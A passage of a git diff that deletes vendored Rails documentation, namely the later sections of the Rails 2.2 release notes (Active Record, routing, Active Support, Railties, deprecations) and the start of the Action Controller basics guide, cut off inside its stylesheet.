-Lead Contributor: <a href="http://adam.blog.heroku.com/">Adam Wiggins</a>
-</p>
-</li>
-<li>
-<p>
-More information:
-</p>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/">DDL Transactions</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/">A major milestone for DB2 on Rails</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_connection_pooling">5.2. Connection Pooling</h3>
-<div class="para"><p>Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a <tt>pool</tt> key to your <tt>database.yml</tt> to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a <tt>wait_timeout</tt> that defaults to 5 seconds before giving up. <tt>ActiveRecord::Base.connection_pool</tt> gives you direct access to the pool if you need it.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>development<span style="color: #990000">:</span>
-  adapter<span style="color: #990000">:</span> mysql
-  username<span style="color: #990000">:</span> root
-  database<span style="color: #990000">:</span> sample_development
-  pool<span style="color: #990000">:</span> <span style="color: #993399">10</span>
-  wait_timeout<span style="color: #990000">:</span> <span style="color: #993399">10</span>
-</tt></pre></div></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://blog.nicksieger.com/">Nick Sieger</a>
-</p>
-</li>
-<li>
-<p>
-More information:
-</p>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools">What's New in Edge Rails: Connection Pools</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_hashes_for_join_table_conditions">5.3. Hashes for Join Table Conditions</h3>
-<div class="para"><p>You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Photo <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>product
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>photos
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># Get all products with copyright-free photos:</span></span>
-Product<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>joins <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>photos <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>copyright <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span> <span style="color: #FF0000">}}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="ilist"><ul>
-<li>
-<p>
-More information:
-</p>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions">What's New in Edge Rails: Easy Join Table Conditions</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_new_dynamic_finders">5.4. New Dynamic Finders</h3>
-<div class="para"><p>Two new sets of methods have been added to Active Record's dynamic finders family.</p></div>
-<h4 id="_tt_find_last_by_lt_attribute_gt_tt">5.4.1. <tt>find_last_by_&lt;attribute&gt;</tt></h4>
-<div class="para"><p>The <tt>find_last_by_&lt;attribute&gt;</tt> method is equivalent to <tt>Model.last(:conditions &#8658; {:attribute &#8658; value})</tt></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Get the last user who signed up from London</span></span>
-User<span style="color: #990000">.</span>find_last_by_city<span style="color: #990000">(</span><span style="color: #FF0000">'London'</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://www.workingwithrails.com/person/9147-emilio-tagua">Emilio Tagua</a>
-</p>
-</li>
-</ul></div>
-<h4 id="_tt_find_by_lt_attribute_gt_tt">5.4.2. <tt>find_by_&lt;attribute&gt;!</tt></h4>
-<div class="para"><p>The new bang! version of <tt>find_by_&lt;attribute&gt;!</tt> is equivalent to <tt>Model.first(:conditions &#8658; {:attribute &#8658; value}) || raise ActiveRecord::RecordNotFound</tt> Instead of returning <tt>nil</tt> if it can't find a matching record, this method will raise an exception if it cannot find a match.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!</span></span>
-User<span style="color: #990000">.</span>find_by_name!<span style="color: #990000">(</span><span style="color: #FF0000">'Moby'</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://blog.hasmanythrough.com">Josh Susser</a>
-</p>
-</li>
-</ul></div>
-<h3 id="_associations_respect_private_protected_scope">5.5. Associations Respect Private/Protected Scope</h3>
-<div class="para"><p>Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) <tt>@user.account.private_method</tt> would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use <tt>@user.account.send(:private_method)</tt> (or make the method public instead of private or protected). Please note that if you're overriding <tt>method_missing</tt>, you should also override <tt>respond_to</tt> to match the behavior in order for associations to function normally.</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Lead Contributor: Adam Milligan
-</p>
-</li>
-<li>
-<p>
-More information:
-</p>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/">Rails 2.2 Change: Private Methods on Association Proxies are Private</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_other_activerecord_changes">5.6. Other ActiveRecord Changes</h3>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>rake db:migrate:redo</tt> now accepts an optional VERSION to target that specific migration to redo
-</p>
-</li>
-<li>
-<p>
-Set <tt>config.active_record.timestamped_migrations = false</tt> to have migrations with numeric prefix instead of UTC timestamp.
-</p>
-</li>
-<li>
-<p>
-Counter cache columns (for associations declared with <tt>:counter_cache &#8658; true</tt>) do not need to be initialized to zero any longer.
-</p>
-</li>
-<li>
-<p>
-<tt>ActiveRecord::Base.human_name</tt> for an internationalization-aware humane translation of model names
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_action_controller">6. Action Controller</h2>
-<div class="sectionbody">
-<div class="para"><p>On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.</p></div>
-<h3 id="_shallow_route_nesting">6.1. Shallow Route Nesting</h3>
-<div class="para"><p>Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers<span style="color: #990000">,</span> <span style="color: #990000">:</span>shallow <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>publisher<span style="color: #990000">|</span>
-  publisher<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
-    magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will enable recognition of (among others) these routes:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>/publishers/1           ==&gt; publisher_path(1)
-/publishers/1/magazines ==&gt; publisher_magazines_path(1)
-/magazines/2            ==&gt; magazine_path(2)
-/magazines/2/photos     ==&gt; magazines_photos_path(2)
-/photos/3               ==&gt; photo_path(3)</tt></pre>
-</div></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://www.unwwwired.net/">S. Brent Faulkner</a>
-</p>
-</li>
-<li>
-<p>
-More information:
-</p>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://guides.rails.info/routing/routing_outside_in.html#_nested_resources">Rails Routing from the Outside In</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes">What's New in Edge Rails: Shallow Routes</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_method_arrays_for_member_or_collection_routes">6.2. Method Arrays for Member or Collection Routes</h3>
-<div class="para"><p>You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://brennandunn.com/">Brennan Dunn</a>
-</p>
-</li>
-</ul></div>
-<h3 id="_resources_with_specific_actions">6.3. Resources With Specific Actions</h3>
-<div class="para"><p>By default, when you use <tt>map.resources</tt> to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the <tt>:only</tt> and <tt>:except</tt> options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special <tt>:all</tt> or <tt>:none</tt> options. These options are inherited by nested resources.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>index<span style="color: #990000">,</span> <span style="color: #990000">:</span>show<span style="color: #990000">]</span>
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>except <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>destroy
-</tt></pre></div></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://experthuman.com/">Tom Stuart</a>
-</p>
-</li>
-</ul></div>
-<h3 id="_other_action_controller_changes">6.4. Other Action Controller Changes</h3>
-<div class="ilist"><ul>
-<li>
-<p>
-You can now easily <a href="http://m.onkey.org/2008/7/20/rescue-from-dispatching">show a custom error page</a> for exceptions raised while routing a request.
-</p>
-</li>
-<li>
-<p>
-The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as <tt>/customers/1.xml</tt>) to indicate the format that you want. If you need the Accept headers, you can turn them back on with <tt>config.action_controller.user_accept_header = true</tt>.
-</p>
-</li>
-<li>
-<p>
-Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
-</p>
-</li>
-<li>
-<p>
-Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
-</p>
-</li>
-<li>
-<p>
-<tt>redirect_to</tt> now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI).
-</p>
-</li>
-<li>
-<p>
-<tt>render</tt> now supports a <tt>:js</tt> option to render plain vanilla javascript with the right mime type.
-</p>
-</li>
-<li>
-<p>
-Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
-</p>
-</li>
-<li>
-<p>
-Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling <tt>polymorphic_path([@project, @date, @area])</tt> with a nil date will give you <tt>project_area_path</tt>.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_action_view">7. Action View</h2>
-<div class="sectionbody">
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>javascript_include_tag</tt> and <tt>stylesheet_link_tag</tt> support a new <tt>:recursive</tt> option to be used along with <tt>:all</tt>, so that you can load an entire tree of files with a single line of code.
-</p>
-</li>
-<li>
-<p>
-The included Prototype javascript library has been upgraded to version 1.6.0.3.
-</p>
-</li>
-<li>
-<p>
-<tt>RJS#page.reload</tt> to reload the browser's current location via javascript
-</p>
-</li>
-<li>
-<p>
-The <tt>atom_feed</tt> helper now takes an <tt>:instruct</tt> option to let you insert XML processing instructions.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_action_mailer">8. Action Mailer</h2>
-<div class="sectionbody">
-<div class="para"><p>Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the <tt>CustomerMailer</tt> class expects to use <tt>layouts/customer_mailer.html.erb</tt>.</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-More information:
-</p>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts">What's New in Edge Rails: Mailer Layouts</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<div class="para"><p>Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.</p></div>
-</div>
-<h2 id="_active_support">9. Active Support</h2>
-<div class="sectionbody">
-<div class="para"><p>Active Support now offers built-in memoization for Rails applications, the <tt>each_with_object</tt> method, prefix support on delegates, and various other new utility methods.</p></div>
-<h3 id="_memoization">9.1. Memoization</h3>
-<div class="para"><p>Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> full_name
-  <span style="color: #009900">@full_name</span> <span style="color: #990000">||=</span> <span style="color: #FF0000">"#{first_name} #{last_name}"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Memoization lets you handle this task in a declarative fashion:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>extend ActiveSupport<span style="color: #990000">::</span>Memoizable
-
-<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> full_name
-  <span style="color: #FF0000">"#{first_name} #{last_name}"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-memoize <span style="color: #990000">:</span>full_name
-</tt></pre></div></div>
-<div class="para"><p>Other features of memoization include <tt>unmemoize</tt>, <tt>unmemoize_all</tt>, and <tt>memoize_all</tt> to turn memoization on or off.</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://joshpeek.com/">Josh Peek</a>
-</p>
-</li>
-<li>
-<p>
-More information:
-</p>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization">What's New in Edge Rails: Easy Memoization</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://www.railway.at/articles/2008/09/20/a-guide-to-memoization">Memo-what? A Guide to Memoization</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_tt_each_with_object_tt">9.2. <tt>each_with_object</tt></h3>
-<div class="para"><p>The <tt>each_with_object</tt> method provides an alternative to <tt>inject</tt>, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">%</span>w<span style="color: #990000">(</span>foo bar<span style="color: #990000">).</span>each_with_object<span style="color: #990000">(</span><span style="color: #FF0000">{}</span><span style="color: #990000">)</span> <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>str<span style="color: #990000">,</span> hsh<span style="color: #990000">|</span> hsh<span style="color: #990000">[</span>str<span style="color: #990000">]</span> <span style="color: #990000">=</span> str<span style="color: #990000">.</span>upcase <span style="color: #FF0000">}</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {'foo' =&gt; 'FOO', 'bar' =&gt; 'BAR'}</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Lead Contributor: <a href="http://therealadam.com/">Adam Keys</a></p></div>
-<h3 id="_delegates_with_prefixes">9.3. Delegates With Prefixes</h3>
-<div class="para"><p>If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Vendor <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_one <span style="color: #990000">:</span>account
-  delegate <span style="color: #990000">:</span>email<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">,</span> <span style="color: #990000">:</span>to <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>prefix <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will produce delegated methods <tt>vendor#account_email</tt> and <tt>vendor#account_password</tt>. You can also specify a custom prefix:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Vendor <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_one <span style="color: #990000">:</span>account
-  delegate <span style="color: #990000">:</span>email<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">,</span> <span style="color: #990000">:</span>to <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>prefix <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>owner
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will produce delegated methods <tt>vendor#owner_email</tt> and <tt>vendor#owner_password</tt>.</p></div>
-<div class="para"><p>Lead Contributor: <a href="http://workingwithrails.com/person/5830-daniel-schierbeck">Daniel Schierbeck</a></p></div>
-<h3 id="_other_active_support_changes">9.4. Other Active Support Changes</h3>
-<div class="ilist"><ul>
-<li>
-<p>
-Extensive updates to <tt>ActiveSupport::Multibyte</tt>, including Ruby 1.9 compatibility fixes.
-</p>
-</li>
-<li>
-<p>
-The addition of <tt>ActiveSupport::Rescuable</tt> allows any class to mix in the <tt>rescue_from</tt> syntax.
-</p>
-</li>
-<li>
-<p>
-<tt>past?</tt>, <tt>today?</tt> and <tt>future?</tt> for <tt>Date</tt> and <tt>Time</tt> classes to facilitate date/time comparisons.
-</p>
-</li>
-<li>
-<p>
-<tt>Array#second</tt> through <tt>Array#fifth</tt> as aliases for <tt>Array#[1]</tt> through <tt>Array#[4]</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>Enumerable#many?</tt> to encapsulate <tt>collection.size &gt; 1</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>Inflector#parameterize</tt> produces a URL-ready version of its input, for use in <tt>to_param</tt>.
-</p>
-</li>
-<li>
-<p>
-<tt>Time#advance</tt> recognizes fractional days and weeks, so you can do <tt>1.7.weeks.ago</tt>, <tt>1.5.hours.since</tt>, and so on.
-</p>
-</li>
-<li>
-<p>
-The included TzInfo library has been upgraded to version 0.3.12.
-</p>
-</li>
-<li>
-<p>
-<tt>ActiveSuport::StringInquirer</tt> gives you a pretty way to test for equality in strings: <tt>ActiveSupport::StringInquirer.new("abc").abc? &#8658; true</tt>
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_railties">10. Railties</h2>
-<div class="sectionbody">
-<div class="para"><p>In Railties (the core code of Rails itself) the biggest changes are in the <tt>config.gems</tt> mechanism.</p></div>
-<h3 id="_tt_config_gems_tt">10.1. <tt>config.gems</tt></h3>
-<div class="para"><p>To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in <tt>/vendor/gems</tt>. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>config.gem <em>gem_name</em></tt> in your <tt>config/environment.rb</tt> file
-</p>
-</li>
-<li>
-<p>
-<tt>rake gems</tt> to list all configured gems, as well as whether they (and their dependencies) are installed or frozen
-</p>
-</li>
-<li>
-<p>
-<tt>rake gems:install</tt> to install missing gems to the computer
-</p>
-</li>
-<li>
-<p>
-<tt>rake gems:unpack</tt> to place a copy of the required gems into <tt>/vendor/gems</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>rake gems:unpack:dependencies</tt> to get copies of the required gems and their dependencies into <tt>/vendor/gems</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>rake gems:build</tt> to build any missing native extensions
-</p>
-</li>
-<li>
-<p>
-<tt>rake gems:refresh_specs</tt> to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
-</p>
-</li>
-</ul></div>
-<div class="para"><p>You can unpack or install a single gem by specifying <tt>GEM=<em>gem_name</em></tt> on the command line.</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://github.com/al2o3cr">Matt Jones</a>
-</p>
-</li>
-<li>
-<p>
-More information:
-</p>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies">What's New in Edge Rails: Gem Dependencies</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/">Rails 2.1.2 and 2.2RC1: Update Your RubyGems</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_other_railties_changes">10.2. Other Railties Changes</h3>
-<div class="ilist"><ul>
-<li>
-<p>
-If you're a fan of the <a href="http://code.macournoyer.com/thin/">Thin</a> web server, you'll be happy to know that <tt>script/server</tt> now supports Thin directly.
-</p>
-</li>
-<li>
-<p>
-<tt>script/plugin install &lt;plugin&gt; -r &lt;revision&gt;</tt> now works with git-based as well as svn-based plugins.
-</p>
-</li>
-<li>
-<p>
-<tt>script/console</tt> now supports a <tt>&#8212;debugger</tt> option
-</p>
-</li>
-<li>
-<p>
-Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
-</p>
-</li>
-<li>
-<p>
-<tt>rake notes:custom ANNOTATION=MYFLAG</tt> lets you list out custom annotations.
-</p>
-</li>
-<li>
-<p>
-Wrapped <tt>Rails.env</tt> in <tt>StringInquirer</tt> so you can do <tt>Rails.env.development?</tt>
-</p>
-</li>
-<li>
-<p>
-To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_deprecated">11. Deprecated</h2>
-<div class="sectionbody">
-<div class="para"><p>A few pieces of older code are deprecated in this release:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>Rails::SecretKeyGenerator</tt> has been replaced by <tt>ActiveSupport::SecureRandom</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>render_component</tt> is deprecated. There's a <a href="http://github.com/rails/render_component/tree/master">render_components plugin</a> available if you need this functionality.
-</p>
-</li>
-<li>
-<p>
-Implicit local assignments when rendering partials has been deprecated.
-</p>
-</li>
-</ul></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> partial_with_implicit_local_assignment
-  <span style="color: #009900">@customer</span> <span style="color: #990000">=</span> Customer<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Marcel"</span><span style="color: #990000">)</span>
-  render <span style="color: #990000">:</span>partial <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"customer"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Previously the above code made available a local variable called <tt>customer</tt> inside the partial <em>customer</em>. You should explicitly pass all the variables via :locals hash now.</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>country_select</tt> has been removed. See the <a href="http://www.rubyonrails.org/deprecation/list-of-countries">deprecation page</a> for more information and a plugin replacement.
-</p>
-</li>
-<li>
-<p>
-<tt>ActiveRecord::Base.allow_concurrency</tt> no longer has any effect.
-</p>
-</li>
-<li>
-<p>
-<tt>ActiveRecord::Errors.default_error_messages</tt> has been deprecated in favor of <tt>I18n.translate(<em>activerecord.errors.messages</em>)</tt>
-</p>
-</li>
-<li>
-<p>
-The <tt>%s</tt> and <tt>%d</tt> interpolation syntax for internationalization is deprecated.
-</p>
-</li>
-<li>
-<p>
-<tt>String#chars</tt> has been deprecated in favor of <tt>String#mb_chars</tt>.
-</p>
-</li>
-<li>
-<p>
-Durations of fractional months or fractional years are deprecated. Use Ruby's core <tt>Date</tt> and <tt>Time</tt> class arithmetic instead.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_credits">12. Credits</h2>
-<div class="sectionbody">
-<div class="para"><p>Release notes compiled by <a href="http://afreshcup.com">Mike Gunderloy</a></p></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/actioncontroller_basics.html b/vendor/rails/railties/doc/guides/html/actioncontroller_basics.html
deleted file mode 100644
index 66563bf1..00000000
--- a/vendor/rails/railties/doc/guides/html/actioncontroller_basics.html
+++ /dev/null
@@ -1,1270 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>Action Controller basics</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
